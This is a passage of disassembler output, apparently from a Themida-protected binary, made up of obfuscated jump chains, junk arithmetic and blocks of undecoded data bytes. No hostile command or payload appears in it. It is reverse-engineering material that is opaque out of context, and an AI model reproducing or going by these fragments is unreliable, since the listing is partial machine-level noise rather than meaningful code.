0E9243C33h, 0F54h ; --------------------------------------------------------------------------- loc_5552F8: ; CODE XREF: Themida_:005556D8j pop ecx and esi, 61362581h sub esi, 0B40CB53Bh mov ebp, esi pop esi jmp loc_552BA4 ; --------------------------------------------------------------------------- db 68h, 69h, 26h dd 0D4E90000h, 0B9000071h, 4, 3359CB01h, 1C31241Ch, 241C3324h dd 2D5DE95Ch, 0D7310000h, 2F7DE95Ah, 52660000h, 3DD2E950h dd 815F0000h, 400591C6h, 81D60168h, 400591EEh, 34335A68h dd 24343124h, 6F3DE9h, 0D8015D00h, 8B2434FFh, 0C481241Ch dd 4, 0E904C483h, 0FFFFDCF9h, 0E95EF301h, 0FFFFED55h, 0FE5BF900h dd 80D9F6C1h, 0E98077C1h, 59CC88FCh, 0EEE9DCF6h, 56000031h dd 0C681E689h, 4, 3304EE83h, 9E92434h, 3100002Ch, 0F7E9240Ch dd 83000023h, 3C8704C7h, 1CE95C24h, 8100006Eh, 373ED6EDh dd 50F52959h, 373ED6B8h, 58C50159h, 0E9E8015Eh, 0FFFFE3FDh ; --------------------------------------------------------------------------- loc_5553D0: ; CODE XREF: Themida_:00553E65j push bx mov bl, 31h mov cl, bl pop bx sub bl, 4Bh jmp loc_551F3F ; --------------------------------------------------------------------------- loc_5553E0: ; CODE XREF: Themida_:0055755Cj push 1 mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push edi jmp loc_559F68 ; --------------------------------------------------------------------------- dw 51ACh dd 0C580A7B5h, 0D1D8E9D3h, 8B66FFFFh, 0E9532404h, 7123h ; --------------------------------------------------------------------------- loc_555410: ; CODE XREF: Themida_:005520C2j push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_552CF2 ; --------------------------------------------------------------------------- db 53h, 0BBh, 0CAh dd 8331C121h, 0C381FFEBh, 608A7772h, 0DCBF574Bh, 2914016Ch dd 0CFE5E9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555442: ; CODE XREF: Themida_:00555080j mov edx, esi jmp loc_553280 ; --------------------------------------------------------------------------- aLSa db '▀$$И═$',0 dd 5BDF0900h, 793EEF81h, 0EF815DBFh, 0FFFFFFFFh, 8105E7C1h dd 4ECh, 1851E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55546E: ; CODE XREF: Themida_:0055B28Ej add eax, 4 add eax, 4 jmp loc_55399E ; --------------------------------------------------------------------------- loc_55547B: ; CODE XREF: Themida_:005558D3j push esi mov esi, 5778B88Fh mov ebx, esi pop esi sub ecx, ebx pop ebx add ebx, 2A345E7Ch sub ebx, ecx sub ebx, 2A345E7Ch pop ecx add ebx, 0FFFFFFFFh jmp loc_55C1EB ; --------------------------------------------------------------------------- loc_55549E: ; CODE XREF: Themida_:00554DD7j sub edx, ecx push dword ptr [esp] pop ecx add esp, 4 xor edx, 5D944B10h add edx, 7699546h push edi jmp loc_558FFB ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 6624248Bh, 2404BB0Fh, 0B57CE99Ch, 3C89FFFFh, 4BF24h dd 0FE010000h, 81243C8Bh, 4C4h, 39E1E900h, 57AD0000h, 0CB4930BFh dd 8E7C174h, 2356C781h, 0EF837131h, 0EEF781FFh, 68690144h dd 16E7h, 50243C89h, 51243C8Bh, 5AE9E189h, 68000022h, 7973h dd 0E9243489h, 6D3Dh, 0B9240C89h, 390324C0h, 436EE9h, 0E9DAF700h dd 0FFFFBCEFh, 335BDE29h, 34312434h, 24343324h, 243C895Ch dd 544168h, 24248900h, 652AE9h, 21C38100h, 43129643h, 5F5DEB81h dd 0DF89CD95h, 0E9FA095Bh, 0FFFFCDA2h, 3C8568h, 24348900h dd 43CBF57h, 0EC8321E7h, 0D9F6E904h, 3C89FFFFh, 5C0EE924h dd 34FF0000h, 24048B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], edi push esp pop edi sub esp, 4 mov [esp], edx jmp loc_558625 ; --------------------------------------------------------------------------- dw 61B7h dd 2805C280h, 5EA80FAh, 5DE95B66h, 5800002Fh, 1AB2C681h dd 0DEF7F448h, 70EEEE81h, 9053A41h, 29302215h, 6FFFE9F0h dd 4200000h, 0F5E99C24h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5555E3: ; CODE XREF: Themida_:005523FFj pop edx jmp loc_558B65 ; --------------------------------------------------------------------------- db 1, 0C7h, 58h dd 158D68h, 242C8900h, 8869D4BDh, 91B95141h, 41136928h dd 0F181D9F7h, 143D41BAh, 7135C181h, 0E941366Dh, 1486h dd 31D2B951h, 0E95262F6h, 70FEh, 441DCB81h, 0F3812CC6h dd 2BBD1817h, 0FFC8ACE9h, 24048BFFh, 379EE9h db 0 ; --------------------------------------------------------------------------- loc_555639: ; CODE XREF: Themida_:0055BC9Dj mov ecx, 3497607Fh jmp loc_556B75 ; --------------------------------------------------------------------------- db 0FFh dd 565A2434h, 0C681E689h, 4, 4C681h, 34870000h, 59E95C24h dd 33FFFFC0h, 22E9243Ch, 43FFFFDAh, 7411CB81h, 0EB810930h dd 1CC46EFAh, 0E95BDD89h, 669h ; --------------------------------------------------------------------------- loc_55567C: ; CODE XREF: Themida_:00557B73j sub edi, 0BB10D606h sub ebp, edi pop edi push ebp push esi mov esi, 76607069h add [esp+4], esi pop esi jmp loc_5532AE ; --------------------------------------------------------------------------- dw 34FFh aZvsi db '$ZVИК<',0 align 10h dd 346DB050h, 0E9D0F6C8h, 0FFFFFC31h, 0C4E9C80Fh db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5556B3: ; CODE XREF: Themida_:00553724j mov esi, 30CF0720h not esi sub esi, 2D64190h or esi, 64805264h push ecx push edx mov edx, 4A1301C8h add edx, 1B883D64h mov ecx, edx pop edx xor esi, ecx jmp loc_5552F8 ; --------------------------------------------------------------------------- db 59h, 0D1h, 0E1h dd 8141D1F7h, 0A2473AF1h, 0E0C18167h, 0E9ACBF30h, 0FFFFF638h ; --------------------------------------------------------------------------- loc_5556F4: ; CODE XREF: Themida_:0055898Bj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_558209 ; --------------------------------------------------------------------------- db 1, 0FAh, 81h dd 245731EAh, 0C788530Dh, 8B5B3A88h, 57E92414h, 2DFFFFEFh dd 50451B84h, 3B68812Dh, 0E9E8293Dh, 0FFFFD9E8h, 38BBh dd 51FB0100h, 8904EC83h, 54E9243Ch, 66000060h, 53240C8Bh dd 6C0EE954h, 8B680000h, 583DA818h, 8DE9h, 5DEB8900h, 2931CB81h dd 0EC8139FBh, 4, 37D2E9h, 24248B00h, 582434FFh, 0C727E951h dd 0EB89FFFFh, 0D1EB815Dh, 50400242h, 9A4C92B8h, 0E049E92Ah dd 15AFFFFh, 5032FFFAh, 0DE8E9h, 0E9575C00h, 1ED6h, 4EC81h dd 0C890000h, 6CD6E924h, 0DA080000h, 0BFC2805Bh, 0EE9D188h dd 89FFFFC2h, 7724E9E5h, 48F0000h, 9E95C24h, 89FFFFFBh dd 20E92414h, 5C000028h, 0FFD411E9h, 4C481FFh, 0F7000000h dd 6C03E9DDh, 0E8050000h, 2D648947h, 5AB11166h, 958C589h dd 4BE95DE9h, 0BF000007h, 138B7427h, 535FF921h, 6EFBE9h db 0 ; --------------------------------------------------------------------------- loc_555809: ; CODE XREF: Themida_:00557019j and eax, edi pop edi or edx, eax shl edx, 1 push 5778h mov [esp], ebp mov ebp, 5FD37141h dec ebp jmp loc_557145 ; --------------------------------------------------------------------------- db 8Fh dd 295C2404h, 0E99C2404h, 0FFFFB216h, 53B5EB81h, 348B2A0Fh dd 4C48124h, 0E9000000h, 0FFFFB202h, 4C481h, 48F0000h dd 0D3665C24h, 0E99C243Ch, 0FFFFB1EEh ; --------------------------------------------------------------------------- loc_555858: ; CODE XREF: Themida_:0055863Cj xor edx, 0FFFBFF88h add edi, edx pop edx add edi, 4 xchg edi, [esp] mov esp, [esp] add dword ptr [esp], 7A5C4BAEh add dword ptr [esp], 32A428EFh sub dword ptr [esp], 62AB7A4Ah add [esp], eax push esi mov esi, 62AB7A4Ah sub dword ptr [esp+4], 1B290341h add [esp+4], esi jmp loc_55143A ; --------------------------------------------------------------------------- db 0BAh, 0AEh, 28h dd 814A1A72h, 0EE31D0C2h, 51EA816Dh, 8988605Ah, 0BD685AD3h dd 89000074h, 24B82404h, 0E93EFE20h, 22B8h, 240C8B66h dd 8904EC83h, 0E189240Ch, 0FFDD09E9h db 0FFh ; --------------------------------------------------------------------------- loc_5558D1: ; CODE XREF: Themida_:0055B300j inc ecx push ebx jmp loc_55547B ; --------------------------------------------------------------------------- dd 0EA88E588h, 81240C8Bh, 4C4h, 0D7885800h, 59665Ah, 7E95BF8h dd 33000057h, 665C2434h, 66C8AF0Fh, 43E99C51h, 53FFFFB1h dd 3F2445BBh, 5BDF01B5h, 501FEA81h, 0FA291746h, 501FC281h dd 0E95F1746h, 0FFFFE258h, 9D1C77FFh, 11665866h, 0E99C2404h dd 0FFFFB116h, 4E08C781h, 26E9AAA0h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55593B: ; CODE XREF: Themida_:005570F4j pop esi add esi, 4 jmp loc_55197B ; --------------------------------------------------------------------------- loc_555947: ; CODE XREF: Themida_:005565A0j or edi, 2D242C60h jmp loc_557C1E ; --------------------------------------------------------------------------- dw 0C181h dd 321C4CEh, 6859C829h, 268Ah, 0BD242C89h, 10E0733h, 0FFF022E9h db 0FFh ; --------------------------------------------------------------------------- loc_55596D: ; CODE XREF: Themida_:0055BEA7j mov dl, [esp] add esp, 2 push ebx mov bl, 0B4h dec bl xor bl, 0C8h add dl, bl pop ebx jmp loc_553F71 ; --------------------------------------------------------------------------- aS_ db '[(сИт.',0 db 0 ; --------------------------------------------------------------------------- loc_55598B: ; CODE XREF: Themida_:0055BB31j sub eax, ebp jmp loc_552667 ; --------------------------------------------------------------------------- dw 48Bh dd 0F54DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55599A: ; CODE XREF: Themida_:00553DE0j mov ecx, [esp] jmp loc_5599CC ; --------------------------------------------------------------------------- loc_5559A2: ; CODE XREF: Themida_:00558119j sub esp, 4 jmp loc_55AD53 ; --------------------------------------------------------------------------- dw 248Bh dd 24048924h, 2E59BE56h, 59B80786h, 3107862Eh, 24348BF0h dd 71A4E9h, 32FF6600h, 0FFB079E9h, 0CEC781FFh, 81525E64h dd 4ECh, 241C8900h, 0FFCCC9E9h, 54A668FFh, 0C890000h, 0E8B6E924h dd 815FFFFFh, 0A67942E9h, 5E14E97Fh, 3C890000h, 505F5424h dd 5C609CB8h, 35E8D12Fh, 1373B67h, 4675B025h, 41B95111h dd 0E909435Ah, 2AE4h, 2B4B08BEh, 81DEF72Dh, 0CF6F06CEh dd 0F347E91Ah, 3C87FFFFh, 0B0B0E924h, 3433FFFFh, 24248B24h dd 9C240400h, 2DC0E9h db 0 ; --------------------------------------------------------------------------- loc_555A45: ; CODE XREF: Themida_:00558B38j add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- dd 4BFh, 8BFA0100h, 0C483243Ch, 4EC8304h, 52243489h, 7975F1BAh dd 8A11BE51h, 4E9AE86h, 5F000048h, 81E28952h, 4C2h, 4C28300h dd 5C241487h, 305AE9h, 89665C00h, 0BE682414h, 0E900005Fh dd 0FFFFB1B8h, 240C8B66h, 67CDE9h db 0 ; --------------------------------------------------------------------------- loc_555AA1: ; CODE XREF: Themida_:005515ADj add eax, esi pop esi pop ecx push eax pop edx pop eax add edx, edi push ecx mov ecx, 0 add ecx, edx add [ecx], ebp pop ecx pop edx jmp loc_5547BD ; --------------------------------------------------------------------------- loc_555ABB: ; CODE XREF: Themida_:0055CE41j pop ecx jmp loc_554E85 ; --------------------------------------------------------------------------- db 68h, 4, 0 dd 81580000h, 304B73EDh, 5CC58100h, 0E9233246h, 0FFFFC5B1h dd 241C875Ch, 0E924248Bh, 218Ah ; --------------------------------------------------------------------------- loc_555AE4: ; CODE XREF: Themida_:00558232j add ecx, 4 add ecx, 4 jmp loc_557C86 ; --------------------------------------------------------------------------- loc_555AF5: ; CODE XREF: Themida_:0055C795j mov esi, [esp] jmp loc_5534C8 ; --------------------------------------------------------------------------- db 66h, 0FFh, 4 aSs db '$°ИХ;',0 dw 0B900h dd 11B77539h, 0F181D9F7h, 0D50FF898h, 5F59C829h, 0A60C781h dd 0C7013884h, 0A60EF81h, 0E9583884h, 18E1h, 0C079B151h dd 88E907E1h, 8100000Eh, 4C6h, 50525100h, 0CC42FF68h, 3E2DE96Bh dd 885B0000h, 8B01876Ch, 0C481240Ch, 4, 0FFAEE9E9h, 0F2685FFFh dd 89000045h, 2B82404h, 1000000h, 0E95558C5h, 0FFFFCC1Bh dd 0DDFDE95Bh, 0C89FFFFh, 57B45024h, 0BFEE9h db 0 ; --------------------------------------------------------------------------- loc_555B85: ; CODE XREF: Themida_:00554CCBj push ebx mov ebx, 6BD23036h or ebx, 65FC586Ch jmp loc_559A17 ; --------------------------------------------------------------------------- dw 8359h dd 48904ECh, 4B824h, 0E9810000h, 216A36C9h, 3BAC181h, 0C1016FC6h dd 3BAE981h, 0C1816FC6h, 216A36C9h, 4EC8358h, 0BB241C89h dd 2, 27B5E981h, 0A0E944AAh, 81000036h, 4C5h, 242C8700h dd 0E924248Bh, 31C4h, 0EDBCEF81h, 0FB01CFE2h, 2C3815Fh dd 87000000h, 0E95C241Ch, 0FFFFE5BDh, 2461C181h, 81491DD5h dd 0EB9EB8C1h, 8BCE010Ch, 0A8E9240Ch, 5200001Ch, 3E7C6850h dd 0C890000h, 2EAF6824h, 81595BC0h, 4ECh, 241C8900h, 121972BBh dd 5BD9295Fh, 8108E9C1h, 4917D1C9h, 540E919h, 0EE010000h dd 13E95Dh, 248B0000h, 0FC33024h, 34FFC0B6h, 2434FF87h dd 0FFC4A1E9h, 17B805FFh, 0F0291277h, 7717B82Dh, 4F18E912h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555C6E: ; CODE XREF: Themida_:0055BCBFj push edx jmp loc_551F95 ; --------------------------------------------------------------------------- dd 4C681h, 34870000h, 0BB02E924h, 0BD66FFFFh, 316624A3h dd 665D66EFh, 1AAEF781h, 0EECF8166h, 0E7C1663Dh, 0EF816605h dd 21668C10h, 81665FF9h, 0E97E6FF1h, 0FFFFD62Fh, 982DD801h dd 2D771078h, 22DC0DEEh, 5C7EE9h db 0 ; --------------------------------------------------------------------------- loc_555CBD: ; CODE XREF: Themida_:00556D68j mov ebx, [esp] jmp loc_551EE5 ; --------------------------------------------------------------------------- db 81h, 0C5h, 70h dd 8136BC64h, 8D3728C5h, 5CED815Fh, 162107Ah, 0BE565DE9h dd 4, 1882E9h, 0FFE83100h db 34h, 24h, 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_550FD9 ; --------------------------------------------------------------------------- loc_555CF3: ; CODE XREF: Themida_:0055AB30j push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_551667 ; --------------------------------------------------------------------------- db 1, 4Ch, 24h dd 240C8B04h, 0E904C483h, 0FFFFAD1Eh, 7D11ED81h, 0C5014D34h dd 7D11C581h, 0ED814D34h, 0ABC6925h, 0FFFC51E9h, 0A16858FFh dd 89000053h, 0ECBB241Ch, 81EEAFBFh, 196B72C6h, 81DE0133h dd 196B72EEh, 14D4E933h, 0BA520000h, 23423CB3h, 0DC9EEA81h dd 93E9E209h, 29000007h, 505E2434h, 0FFD7DAE9h, 80CDFEFFh dd 0ED80C2EDh, 59E8285Eh, 8324148Bh, 0D82804C4h, 8063B551h dd 0F580FFEDh, 0CEA3E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555D9E: ; CODE XREF: Themida_:0055A535j mov eax, [esp] add esp, 4 jmp loc_5573DE ; --------------------------------------------------------------------------- loc_555DAC: ; CODE XREF: Themida_:00556442j mov esi, [esp] add esp, 4 jmp loc_550D02 ; --------------------------------------------------------------------------- loc_555DBA: ; CODE XREF: Themida_:00557064j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_553082 ; --------------------------------------------------------------------------- dw 8B5Ah dd 0C483242Ch, 0CDDFE904h, 5751FFFFh, 125F4CBFh, 5F50B919h dd 0F9291912h, 81243C8Bh, 4C4h, 0FFCF0100h, 81592434h dd 4C4h, 4C78100h, 0E9000000h, 0FFFFF85Fh, 4C781h, 0FF570000h dd 5F042474h, 5C24048Fh, 4C481h, 2BE90000h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555E1B: ; CODE XREF: Themida_:0055924Cj push 76B7h mov [esp], esi mov esi, 26D1C1Ch sub [esp+4], esi push dword ptr [esp] jmp loc_55C5E9 ; --------------------------------------------------------------------------- dd 0EB885352h, 885BDE88h, 34FF5AF3h, 4B96E924h, 7BBD0000h dd 89559C1Ch, 0BDBDE9EFh, 0C481FFFFh, 4, 0FFB5FEE9h, 24148BFFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_554D97 ; --------------------------------------------------------------------------- dw 34FFh dd 89535924h, 4C381E3h, 56000000h, 15DDE9h db 0 ; --------------------------------------------------------------------------- loc_555E81: ; CODE XREF: Themida_:00558B78j dec ecx jmp loc_55B8D3 ; --------------------------------------------------------------------------- loc_555E87: ; CODE XREF: Themida_:0055AE69j mov ebx, 2F674F79h push ebx push ebp mov ebp, 62BF348Eh jmp loc_556D5C ; --------------------------------------------------------------------------- dd 6804C483h, 23E4h, 68241C89h, 3E75h, 0B2241489h, 35D1E9F3h dd 0E9510000h, 0FFFFE241h, 4B951h, 0CD290000h, 6E30E9h dd 58C18800h, 493FE9h, 0E0895000h, 4BB53h, 0D8010000h dd 30B3E9h db 0 ; --------------------------------------------------------------------------- loc_555EDD: ; CODE XREF: Themida_:005573D9j sub al, ch pop ecx jmp loc_559281 ; --------------------------------------------------------------------------- db 50h, 89h, 0E0h dd 405h, 4BB5300h, 1000000h, 3E3AE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555EFA: ; CODE XREF: Themida_:0055C3E4j pop ebp push edi push eax mov eax, ebp jmp loc_554485 ; --------------------------------------------------------------------------- dd 31E9C309h, 84FFFFBBh, 0ECE99CC8h, 83FFFFB2h, 48904ECh dd 5E08924h, 4, 8704C083h, 895C2404h, 0CCE95BDAh db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555F2F: ; CODE XREF: Themida_:005576DCj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esp jmp loc_550B90 ; --------------------------------------------------------------------------- dw 0E981h dd 262E5A76h, 0FFB66DE9h, 243489FFh, 5C199568h, 0EE95E56h dd 5AFFFFE9h, 4B850h, 0EB810000h, 4132071h, 0C381C301h dd 4132071h, 1653E9h, 6FD16800h, 34890000h, 149C6824h dd 24890000h, 4BE5624h, 0E9000000h, 0FFFFD733h, 4F281h dd 0D301DEE0h, 74E9515Ah, 83FFFFF3h, 43302C0h, 24043124h dd 0E9240433h, 65A2h, 5C241487h, 0FFCE41E9h, 0C335EFFh dd 0D6D3E924h, 0C481FFFFh, 4, 6181BF57h, 0EF817EC4h, 0FFFFFFFFh dd 41F3F781h, 0EFC1476Bh, 0C4C78107h, 1FF8CA1h, 243C8BFBh dd 5604C483h, 4BEh, 5EF30100h, 627AE9h db 0 ; --------------------------------------------------------------------------- loc_555FFD: ; CODE XREF: Themida_:00557083j push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], ecx push ebx jmp loc_55A506 ; --------------------------------------------------------------------------- loc_55601C: ; CODE XREF: Themida_:0055AD73j pop ebp sub ebp, 4CE60C68h add ebp, 47D178B6h add ebp, ebx sub ebp, 47D178B6h jmp loc_553DC5 ; --------------------------------------------------------------------------- dw 0E289h dd 4EC81h, 4890000h, 4B824h, 0C2010000h, 6CCE9h, 2889B500h dd 0E95966E8h, 0FFFFBF1Eh, 0F1685553h, 5D292E31h, 14AAE9h dd 2B900h, 0CA010000h, 24148759h, 0AB0F665Ch, 0E99C2404h dd 0FFFFA9CAh, 89242C89h, 65C9E9E5h, 0F7800000h, 5BFD3023h dd 80C5CD80h, 0C1E918C5h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556097: ; CODE XREF: Themida_:0055691Bj sub edi, 62995DB6h sub edi, 53502266h sub edi, eax add edi, 53502266h add edi, 62995DB6h pop eax add ebp, edi pop edi push edi mov edi, 254B1651h sub edi, 66BB0CC6h neg edi inc edi sub edi, 9DC97F4Ah sub ebp, edi pop edi sub [edi+24h], ebp pop ebp loc_5560D1: ; CODE XREF: Themida_:00550ACAj push 5A53h jmp loc_55AB2D ; --------------------------------------------------------------------------- db 0B3h dd 2F3809Bh, 81C0EB80h, 4ECh, 0AB07E900h, 6856FFFFh, 35F50D83h dd 0D6F74E5Eh, 0FFC661E9h, 4EC83FFh, 89241C89h, 4C381E3h dd 81000000h, 4EBh, 2C10E900h, 0C4830000h, 24048F04h, 48B665Ch dd 6CF26824h, 2C890000h, 81E58924h, 4C5h, 0E6895600h, 4C681h dd 0EE810000h, 4, 5C243487h, 68241489h, 2, 61D0E9h, 52E38900h dd 50EEBB53h, 0E94B5AACh, 49D5h, 0A8E0E95Dh, 0F268FFFFh dd 89000010h, 0E9532414h, 0FFFFB514h ; --------------------------------------------------------------------------- loc_556174: ; CODE XREF: Themida_:00558415j add esp, 4 pop dword ptr [esp] jmp loc_559240 ; --------------------------------------------------------------------------- dw 0C181h dd 0F6D88057h, 8959C889h, 0BF5758C2h, 5D70168Ch, 7E7C14Fh dd 68h, 243C2900h, 47F7815Fh, 567CE06Eh, 0C3054EBEh, 814E4E79h dd 6B7E1CC6h, 0E9F731C7h, 6445h, 14B2C281h, 0FA297B6Bh dd 14B2EA81h, 34FF7B6Bh, 0F8A1E924h, 0D8F7FFFFh, 0D435D8F7h dd 89C0C148h, 4022E9C1h, 0EC830000h, 24348904h, 2434FF54h dd 4C4835Eh, 4BD55h, 0EE010000h, 83242C8Bh, 0EC8304C4h dd 240C8904h, 2B9h, 8BCE0100h, 0C481240Ch, 4, 8B243487h dd 4282424h, 23E99C24h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556223: ; CODE XREF: Themida_:00559FB3j xor ebx, edx xchg esi, edx jmp loc_559A56 ; --------------------------------------------------------------------------- loc_55622C: ; CODE XREF: Themida_:005596E2j pop esi push ebp mov ebp, 9AD49CFh jmp loc_559AE7 ; --------------------------------------------------------------------------- loc_556238: ; CODE XREF: Themida_:0055A931j not ebp and ebp, 342A58C1h push edx jmp loc_550F7E ; --------------------------------------------------------------------------- loc_556246: ; CODE XREF: Themida_:00552F4Cj push ecx jmp loc_559BB2 ; --------------------------------------------------------------------------- dd 0FE24248Bh, 0E99C2404h, 0FFFFA7EEh, 2D5F68h, 242C8900h dd 1784E9h db 0 ; --------------------------------------------------------------------------- loc_556265: ; CODE XREF: Themida_:0055891Aj pop eax add edx, eax add dword ptr [edx], 1 mov edx, [esp] add esp, 4 mov eax, [esp] jmp loc_55ACBB ; --------------------------------------------------------------------------- db 81h dd 888659F3h, 319DE9E3h, 0FF640000h, 0A7B4E932h, 575AFFFFh dd 0FFDE99E9h db 0FFh ; --------------------------------------------------------------------------- loc_556299: ; CODE XREF: Themida_:0055906Dj xor [esp], ebp jmp loc_55774F ; --------------------------------------------------------------------------- db 35h, 0ECh, 18h dd 0DE97A0Dh, 0FFFFFFD3h, 48B2434h, 4C48124h, 68000000h dd 283Dh, 89241489h, 0E08950E2h, 405h, 4E88300h, 5C240487h dd 55241C89h, 0B03E8EBDh, 0F47BE928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5562DE: ; CODE XREF: Themida_:0055329Fj shr esi, 5 xor esi, 0F79047AFh sub edx, esi pop esi and eax, edx mov edx, [esp] sub esp, 4 jmp loc_55634F ; --------------------------------------------------------------------------- db 81h dd 7A2D33C7h, 875D5B54h, 248B243Ch, 4896624h, 0A738E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55630E: ; CODE XREF: Themida_:00552025j push ecx push ebp jmp loc_550F6C ; --------------------------------------------------------------------------- db 0ADh, 83h, 0ECh dd 242C8904h, 0CC7DF4BDh, 7E5C170h, 0FFFFC581h, 0ED81FFFFh dd 1D3601FDh, 0B98EBE56h, 0C581DCEEh, 4F0902CEh, 0ED81F529h dd 4F0902CEh, 5068055Eh, 30E92B71h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55634F: ; CODE XREF: Themida_:005562F2j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp or eax, eax jz loc_55ACC7 push dword ptr [edi+1Ch] push edx mov edx, esp jmp loc_558A39 ; --------------------------------------------------------------------------- db 89h dd 7DE95EF5h, 56FFFFBBh, 0C681E689h, 4, 8704EE83h, 895C2434h dd 4BA2414h, 1000000h, 0D710E9D1h, 7C68FFFFh, 8900005Ah dd 0FF59241Ch, 95E92434h, 5A000039h, 5B2434FFh, 0E904C483h dd 52F9h, 4BFh, 8BF80100h, 0C483243Ch, 74FF5004h, 8F580424h dd 0F5C2404h, 5450C8BFh, 0C2F8E958h, 2489FFFFh, 4BD5524h dd 1000000h, 5D04246Ch, 0FFCBBCE9h, 0C6815DFFh, 67F357D5h dd 0F6E9FE01h, 53000051h, 0EA5388BBh, 5BDD0169h, 6769E9h dd 0D5015A00h, 5B0BC581h, 0E95A646Ch, 548Ah ; --------------------------------------------------------------------------- loc_55641C: ; CODE XREF: Themida_:00550F4Ej shr eax, 3 neg eax jmp loc_555255 ; --------------------------------------------------------------------------- loc_556426: ; CODE XREF: Themida_:005585BEj xor esi, ebp mov ebp, [esp] add esp, 4 shl esi, 6 push edx mov edx, 16EA4E48h or esi, edx pop edx sub esi, 7EFDFFC8h and eax, esi jmp loc_555DAC ; --------------------------------------------------------------------------- loc_556447: ; CODE XREF: Themida_:0055B023j mov eax, 4 jmp loc_5529A9 ; --------------------------------------------------------------------------- db 50h, 0E9h, 0FFh db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556457: ; CODE XREF: Themida_:00550A53j shr ecx, 0Bh push 1D2h mov [esp], ebx push esp jmp loc_5585A5 ; --------------------------------------------------------------------------- dd 4C581h, 0EC810000h, 4, 0E9241489h, 29B5h, 65F2EB81h dd 0C30146BCh, 65F2C381h, 505546BCh, 0ED36AC68h, 0E8C15800h dd 35882D05h, 0C589EEEBh, 9BC38158h, 1374F53h, 1A10E9EBh dd 0C7810000h, 4, 4C781h, 3C870000h, 0C5815C24h, 4, 9685653h dd 5E6EAA1Ah, 1CE8F681h, 0E9467963h, 0FFFFBA78h ; --------------------------------------------------------------------------- loc_5564D4: ; CODE XREF: Themida_:005567BEj push ecx jmp loc_552E48 ; --------------------------------------------------------------------------- dw 430h dd 63E99C24h, 0F7FFFFA5h, 49EF81D7h, 29406145h, 5485FF8h dd 16DF333Dh, 0FFAB34E9h db 0FFh ; --------------------------------------------------------------------------- loc_5564F9: ; CODE XREF: Themida_:0055BCB8j mov [esp], edx mov edx, 24h jmp loc_5594C2 ; --------------------------------------------------------------------------- dw 0D301h dd 8324148Bh, 0C78104C4h, 4B3D008Bh, 4EC9EF81h, 0DF01657Eh dd 4EC9C781h, 0EF81657Eh, 4B3D008Bh, 2C7835Bh, 3532E9h dd 0E9DF0900h, 526Ah, 5A2434FFh, 4C481h, 0A0E90000h, 81000025h dd 4F79B9C3h, 81E3D13Bh, 7807AEBh, 5BD9897Ah, 0FFF7BCE9h dd 1D668FFh, 2C890000h, 2474FF24h, 2434FF04h, 0CE42E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556572: ; CODE XREF: Themida_:00559714j pop esp shr eax, 10h xor eax, ecx xor eax, esi xor esi, eax jmp loc_55BAE0 ; --------------------------------------------------------------------------- aBycds db '╦byГdИм;',0 db 0 ; --------------------------------------------------------------------------- loc_55658B: ; CODE XREF: Themida_:0055677Ej pop edi push edi push eax push edi mov edi, 4B4A7623h sub edi, 77B462FAh add edi, 485901D9h jmp loc_555947 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FFA499E9h db 0FFh ; --------------------------------------------------------------------------- loc_5565AD: ; CODE XREF: Themida_:0055B036j push ebx push eax mov eax, 20575062h mov ebx, eax push dword ptr [esp] mov eax, [esp] push esi push esp jmp loc_55338F ; --------------------------------------------------------------------------- db 8Bh dd 0C892424h, 81E18924h, 4C1h, 0BB535600h, 128D1C09h, 2F46E9h dd 55E38900h, 4BDh, 5DEB0100h, 4BF57h, 0EB810000h, 67D45E1Eh dd 0C381FB29h, 67D45E1Eh, 241C875Fh, 0CCB7E95Ch, 0C89FFFFh dd 5F02B924h, 0E1817A51h, 31160B24h, 0B585E951h, 0E389FFFFh dd 4C381h, 0EB830000h, 241C8704h, 0C7AAE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55662E: ; CODE XREF: Themida_:00556AC3j push edx mov edx, 6AB38C9h jmp loc_5574C6 ; --------------------------------------------------------------------------- db 66h, 5Ah, 66h dd 50242C8Bh, 0BD55E089h, 4, 835DE801h, 48702C0h, 6ADE924h dd 0A680000h, 89000019h, 0E589242Ch, 58C3E9h, 4C68100h dd 81000000h, 4C6h, 24348700h, 5224248Bh, 8904EC83h, 3D68242Ch dd 5D508913h, 3B33E9h, 24048F00h, 0E924248Bh, 65D5h, 2C8BEB21h dd 